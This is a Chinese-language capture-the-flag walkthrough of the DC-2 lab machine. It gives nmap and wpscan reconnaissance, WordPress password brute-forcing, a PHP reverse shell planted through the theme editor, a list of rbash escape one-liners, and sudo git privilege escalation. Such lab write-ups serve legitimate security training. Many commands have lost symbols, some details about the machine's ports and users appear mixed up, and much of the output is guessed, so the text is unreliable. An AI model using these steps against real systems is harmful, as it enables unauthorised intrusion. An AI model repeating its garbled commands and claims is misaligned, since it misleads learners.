从非标准端口渗透到rbash逃逸:DC-2靶机实战与Linux权限突破 1. 项目概述从“非主流”端口开始的渗透之旅在渗透测试的实战演练中我们常常习惯于盯着那些“明星”端口80、443、22、21、3389……这些端口承载着Web服务、SSH、FTP、远程桌面等主流应用是信息搜集阶段的首要目标。然而真正的渗透高手往往具备一种“边缘视角”他们知道系统的安全防线最薄弱的地方有时恰恰是那些被管理员忽视、被自动化扫描工具轻描淡写带过的“非主流”端口。今天要聊的DC-2靶机就是一个绝佳的案例。它没有在80端口提供花哨的Web登录框也没有开放22端口让你尝试暴力破解它的第一个突破口藏在一个看似不起眼的7744端口上。更妙的是突破之后等待你的并非root权限的坦途而是一个精心设计的“牢笼”——rbash受限bash。如何从这看似无解的受限环境中“越狱”获取更高权限正是这个靶机演练的核心魅力所在。这个过程不仅考验你对端口服务识别的敏锐度更深度检验了你对Linux系统底层机制和权限绕过的理解。无论你是正在备考OSCP的学员还是希望提升实战能力的安服工程师DC-2靶机中关于7744端口和rbash绕过的这一套“组合拳”都值得你静下心来好好琢磨一番。2. 核心思路拆解为何是7744与rbash在动手之前我们先花点时间理解一下靶机设计者的“良苦用心”。这能帮助我们在遇到类似场景时快速形成正确的解题思路而不是盲目地堆砌工具和命令。2.1 7744端口被遗忘的入口7744端口不是一个标准端口。在Linux系统中端口号在1024以下的被称为“知名端口”通常与系统服务绑定。而7744这样的高位端口通常是自定义应用或某些特定服务临时启用的。在渗透测试信息搜集阶段使用nmap进行全端口扫描是标准动作。当扫描结果中出现这样一个非常规端口并且显示为“open”状态时它就应该立刻进入你的“可疑清单”。为什么管理员会开放这样一个端口常见原因有几种临时测试开发或运维人员为了测试某个新应用或API而临时启用事后忘记关闭。内部服务某个仅供内网访问的管理后台或数据接口因为配置错误如绑定到0.0.0.0而暴露在了公网或测试环境中。老旧或小众应用一些不常见或版本古老的应用程序使用了非标准端口。刻意隐藏安全意识较强的管理员可能会将一些服务迁移到非标准端口意图通过“隐蔽”来增强安全安全靠隐藏这通常不是好主意。在DC-2靶机中7744端口属于第二种情况的“教学化”体现它运行着一个WordPress网站的服务但这个WordPress并没有被配置在常见的80/443端口。这直接引导我们进入渗透测试中一个关键环节服务识别。仅仅知道端口开放是不够的必须弄清楚它上面跑的是什么。2.2 rbash精心设计的权限牢笼假设我们通过7744端口找到了入口并获得了一个初始的shell比如通过WordPress的漏洞获取了www-data用户的权限。在一般的靶机或真实环境中你可能会尝试直接进行权限提升。但DC-2在这里设置了一个经典的障碍rbashRestricted Bash。rbash是Bash shell的一个受限版本。当用户被限制使用rbash时其行为会受到极大制约例如无法使用cd命令切换目录。无法设置或修改环境变量如PATH,SHELL。无法使用包含斜杠/的命令这直接阻止了执行像/bin/bash这样的命令。无法使用重定向操作符,,,。无法使用/来指定路径。这感觉就像把你关进了一个只有基本空气和水的房间工具都被没收了。管理员通过将用户的默认shell设置为/bin/rbash或/bin/bash -r来实现这种限制。其目的是即使攻击者获得了某个低权限用户的shell也无法利用这个shell做太多事情从而遏制横向移动或权限提升。因此整个渗透流程的核心思路就清晰了全面信息搜集不放过任何一个开放端口尤其是非标准端口。精准服务探测对可疑端口进行深度探测确定其承载的应用、版本、可能存在的漏洞。寻找初始立足点利用应用漏洞如WordPress插件漏洞、配置弱点获取一个初始的、受限的shell。rbash环境逃逸在极度受限的交互环境中利用系统特性、已安装程序或配置错误打破rbash的枷锁获得一个功能完整的shell。权限提升与目标达成在获得完整shell后进行系统的信息搜集寻找内核漏洞、SUID文件、错误的sudo配置等路径最终提权至root获取flag。3. 实战演练步步为营攻克DC-2下面我们进入实战环节。假设靶机IP为192.168.1.100。请确保你的攻击机如Kali Linux与靶机在同一网络。3.1 信息搜集与7744端口发现第一步永远是信息搜集。我们使用nmap这个瑞士军刀。# 快速扫描发现开放端口 nmap -sS -T4 192.168.1.100 # 输出可能类似 # Starting Nmap 7.94SVN ( https://nmap.org ) # Nmap scan report for 192.168.1.100 # Host is up (0.00056s latency). # Not shown: 998 closed tcp ports (reset) # PORT STATE SERVICE # 7744/tcp open unknown # 80/tcp open http看7744端口出现了状态是open但服务被识别为unknown。80端口也开放着。一个标准的Web服务器在80端口那7744端口这个“unknown”服务就更可疑了。我们需要对它进行深度扫描确定服务详情。# 对7744端口进行服务版本探测和脚本扫描 nmap -sV -sC -p 7744 192.168.1.100 # 或者使用更全面的命令扫描所有端口 nmap -sV -sC -p- 192.168.1.100-sV尝试探测服务版本-sC运行默认的Nmap脚本进行更深入的发现。扫描7744端口后你可能会看到类似这样的输出PORT STATE SERVICE VERSION 7744/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesnt have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian)关键发现7744端口运行着Apache HTTP Server是一个Web服务这立刻将我们的注意力从“未知服务”转移到了“Web应用渗透”上。3.2 7744端口Web应用渗透既然是一个Web服务我们首先用浏览器访问一下http://192.168.1.100:7744。不出意外的话你会看到一个WordPress站点的首页。至此7744端口的谜底揭晓它是一个部署在非标准端口上的WordPress网站。接下来的流程就是标准的WordPress渗透测试路径枚举信息使用wpscan工具。wpscan --url http://192.168.1.100:7744 --enumerate u,ap,vt,p,t这个命令会枚举用户(u)、所有插件(ap)、易受攻击的插件(vt)、主题(p)、timthumbs(t)。分析结果wpscan可能会发现一些关键信息例如存在用户admin,tom,jerry等。存在某个已知漏洞的插件比如老版本的akismet或某个不安全的自定义插件。WordPress版本较旧存在已知漏洞。选择攻击向量密码爆破如果你枚举到了用户如admin, tom, jerry可以尝试对WordPress的登录页面(/wp-login.php)进行密码爆破。DC-2靶机通常会设置弱密码。你可以使用wpscan的爆破功能或hydra。wpscan --url http://192.168.1.100:7744 -U userlist.txt -P /usr/share/wordlists/rockyou.txt插件/主题漏洞利用如果wpscan发现了有公开漏洞的插件可以去搜索对应的Exploit。例如可能通过某个插件的文件上传功能获取Webshell。其他漏洞如XML-RPC爆破、REST API未授权访问等。实操心得在DC-2靶机中一种常见的设定是通过密码爆破使用经典的密码字典如rockyou.txt可以成功登录tom或jerry等用户的WordPress后台。进入后台后往往可以在“主题编辑器”或“插件编辑器”中修改PHP文件插入一句话Webshell代码从而获取反向shell。获取初始Shell 假设我们在theme-editor.php中编辑了404.php模板文件插入了PHP反向shell代码例如使用pentestmonkey的经典反向PHP脚本。我们在攻击机上监听一个端口nc -lvnp 4444然后通过浏览器访问http://192.168.1.100:7744/wp-content/themes/[当前主题]/404.php触发反向连接。成功的话你会在nc终端看到一个shell。执行whoami很可能看到用户是www-data。3.3 遭遇rbash第一个“惊喜”当你欢天喜地地拿到www-data的shell准备开始探索系统时第一个打击来了。你尝试一些基本命令cd /home ls -la你可能会发现cd命令无效或者提示cd: restricted。再试试/bin/bash可能会提示-rbash: /bin/bash: restricted: cannot specify/ in command names。执行echo $SHELL输出很可能是/bin/rbash。恭喜你被困在rbash里了。此时的状态你有一个交互式的shell但能力被严重阉割。你甚至无法查看/etc/passwd来了解其他用户因为命令中可能包含/。这是渗透测试中一个非常经典的“受限环境突破”场景。3.4 rbash绕过技巧大全突破rbash的方法多种多样核心思路是利用rbash限制之外的系统功能启动一个不受限的shell。下面列举几种在DC-2及类似环境中可能生效的方法。3.4.1 方法一利用文本编辑器逃逸这是最经典、最有效的方法之一。很多系统会安装vi、vim、nano、ed、more、less等文本编辑器或查看器。在rbash中你通常可以执行它们。使用vi/vimvi # 进入vi后输入以下命令 :set shell/bin/bash :shell或者更直接vim -c !bash如果vi可用这几乎是百分百成功的逃逸方法。使用eded # 在ed的提示符下输入 !/bin/bash使用nano 虽然nano本身不直接提供shell逃逸但你可以用它来创建一个脚本文件然后想办法执行。不过在执行环节可能会遇到限制。3.4.2 方法二利用其他命令启动子shell有些命令在调用时会启动一个子shell来执行命令我们可以利用这一点。使用awkawk BEGIN {system(/bin/bash)}使用perlperl -e exec /bin/bash;使用pythonpython -c import os; os.system(/bin/bash)或者python -c import pty; pty.spawn(/bin/bash)使用find如果允许执行find / -name test -exec /bin/bash \;这个方法比较暴力可能会产生大量输出但有时可行3.4.3 方法三利用环境变量和命令别名有时rbash的限制可能不完整或者用户的环境配置文件如.bashrc中设置了某些别名或函数。查看可用的命令和别名alias compgen -c # 列出所有可用的命令看看有没有像ls、cat这样的命令其实是别名其背后可能调用了其他不受限的程序。尝试执行绝对路径的程序rbash通常限制使用/但有时对某些特定路径的检查可能有疏漏或者通过变量拼接可以绕过。可以尝试echo $PATH # 看看PATH里有哪些目录然后尝试直接调用其中的程序比如 sh如果sh通常是/bin/sh的链接在PATH中直接输入sh可能就能获得一个标准的shell因为rbash的限制只对bash生效。3.4.4 方法四利用SSH强制命令如果适用这是一种特定场景。如果你是通过SSH密钥登录并触发了某个强制命令commandinauthorized_keys导致进入rbash那么可能在~/.ssh/authorized_keys文件中该强制命令本身有漏洞或者你可以通过SSH连接参数进行注入。但在DC-2的Webshell场景下此法不常用。注意事项在尝试逃逸时务必一条命令一条命令地试并观察错误信息。错误信息是黄金线索。例如如果提示“command not found”说明这个程序没安装如果提示“restricted”说明rbash的规则阻止了它。同时注意你的当前用户权限www-data有些操作可能需要更高权限。在DC-2靶机中的实际应用通常上述方法中的vi、python或awk其中之一会奏效。成功之后你会获得一个普通的bash或shshell此时再执行whoami和id确认自己仍然是www-data但已经摆脱了rbash的束缚。记得第一时间升级为一个完全交互式的、更稳定的TTY shellpython3 -c import pty; pty.spawn(/bin/bash) # 或者 script -qc /bin/bash /dev/null # 然后按 CtrlZ 挂起在攻击机终端输入 stty raw -echo; fg # 最后重置终端 reset export TERMxterm-256color export SHELLbash3.5 权限提升与Flag获取逃出rbash后你拥有了一个功能完整的www-datashell。接下来就是常规的Linux权限提升环节。系统信息搜集uname -a # 查看内核版本 cat /etc/os-release # 查看发行版信息 sudo -l # **非常重要** 查看当前用户可以以root身份运行哪些命令 find / -perm -us -type f 2/dev/null # 查找SUID文件 find / -writable 2/dev/null | grep -v proc # 查找全局可写文件/目录 crontab -l # 查看当前用户的定时任务 ls -la /etc/cron* # 查看系统定时任务 ps aux # 查看进程 netstat -tulpn # 查看网络连接和监听端口分析sudo -l在DC-2中这往往是提权的关键。执行sudo -l后你可能会发现用户www-data或者你之后切换到的其他用户可以以某些用户的身份无需密码运行特定命令。例如User www-data may run the following commands on dc-2: (jerry) NOPASSWD: /usr/bin/git这意味着你可以以用户jerry的身份运行git命令并且不需要密码。利用sudo权限提权以上面的git为例我们可以利用git来提权。sudo -u jerry git help status # 在git的帮助页面中可以输入!/bin/bash来启动一个shell # 或者更直接地使用git的-p参数调用pager如less然后在pager中逃逸 sudo -u jerry git -p help # 进入less后输入!bash或!sh成功的话你的用户身份将变为jerry。检查jerry的家目录通常能找到第一个flag比如flag1.txt。切换用户与进一步提权成为jerry后重复信息搜集步骤。再次运行sudo -l看看jerry有什么特权。可能会发现jerry可以以tom或root的身份运行某些命令。重复利用类似的方法比如利用vi、less、find等命令的sudo权限一步步提升权限最终拿到root权限找到所有flag。其他提权向量如果sudo -l没有收获就需要检查SUID文件、内核漏洞、错误配置的服务、定时任务等。例如如果找到一个SUID的bash可以直接用它提权/path/to/suid_bash -p。4. 常见问题与排查技巧实录在实际操作DC-2或类似环境时你可能会遇到以下问题Q1: nmap扫描不到7744端口A1: 确保靶机已正确启动并联网。检查防火墙规则靶机可能只允许特定IP访问。尝试使用-Pn参数跳过主机发现直接扫描端口nmap -Pn -p- 192.168.1.100。Q2: 访问http://IP:7744显示连接被拒绝或超时A2: 确认Apache服务确实运行在7744端口。可以在靶机如果你有其他方式访问上使用netstat -tulpn | grep :7744查看。也可能是服务崩溃了尝试重启靶机。Q3: wpscan枚举不出用户或漏洞A3: 检查网络连通性。尝试增加超时时间wpscan --url http://IP:7744 --request-timeout 60。目标可能启用了WAF或速率限制使用--random-user-agent和--throttle参数。确保你的wpscan是最新版本。Q4: 密码爆破总是失败A4: 确认用户名正确。DC-2可能使用了非默认用户名。尝试使用更小的、更常见的密码字典先测试。也可以查看网页源代码或使用cewl等工具从网站上爬取单词生成专属字典。Q5: 获取的反向shell立即断开A5: 这是Webshell的常见问题。你的反向shell可能不够稳定。务必在获取初始连接后立即按照前文所述的方法升级为完全交互式的TTY shell使用python pty或script命令。这能提供命令历史、作业控制等功能大大增强稳定性。Q6: 所有rbash逃逸方法都试了还是不行A6: 首先冷静。逐条检查输入echo $PATH看看有哪些目录。尝试直接调用这些目录下的程序比如/usr/bin/vi有时rbash只限制了不带路径的命令。输入enable命令查看当前bash启用了哪些内置命令有时enable -n cd可以禁用rbash对cd的限制但通常rbash环境下不允许此操作。尝试使用通配符绕过/限制例如如果/bin目录在PATH中b??h可能匹配到bash。但rbash通常也会限制包含通配符的命令。终极思路寻找文件上传点上传一个静态编译的二进制bash比如从busybox提取然后执行它。但这需要你有文件写入权限。Q7: sudo -l 要求输入密码但我不知道密码A7:sudo -l命令本身会提示输入当前用户的密码以验证你是谁。在渗透中我们通常不知道密码。但注意看输出如果配置为NOPASSWD:那么运行该特定命令时就不需要密码。如果所有条目都需要密码那么这条提权路径暂时走不通需要寻找其他方法SUID、内核漏洞等。Q8: 利用git提权时输入!bash没反应A8: 确保你是在git调用的pager如less中输入的!bash而不是在普通的bash提示符下。当你执行sudo -u user git -p log之类的命令时输出会进入分页器此时屏幕左下角会显示:提示符在这里输入!bash才有效。如果git命令直接退出而没有调用分页器可以尝试sudo -u user git help -a | less这一定会调用分页器。这个从非标准端口发现入口到突破rbash限制再到利用sudo权限链进行提权的完整过程清晰地展示了一次纵深防御体系下的渗透路径。它提醒我们安全是一个整体任何一个环节的疏忽——无论是非常规端口的暴露、Web应用的口令弱点、还是系统用户权限的配置不当——都可能成为整个防线崩溃的起点。对于防御者而言关闭不必要的端口、强化应用安全、遵循最小权限原则、定期审计sudo配置是抵御此类攻击的必修课。而对于攻击者在授权测试中这种“迂回”和“挣脱束缚”的思维正是将技术能力转化为实战成果的关键。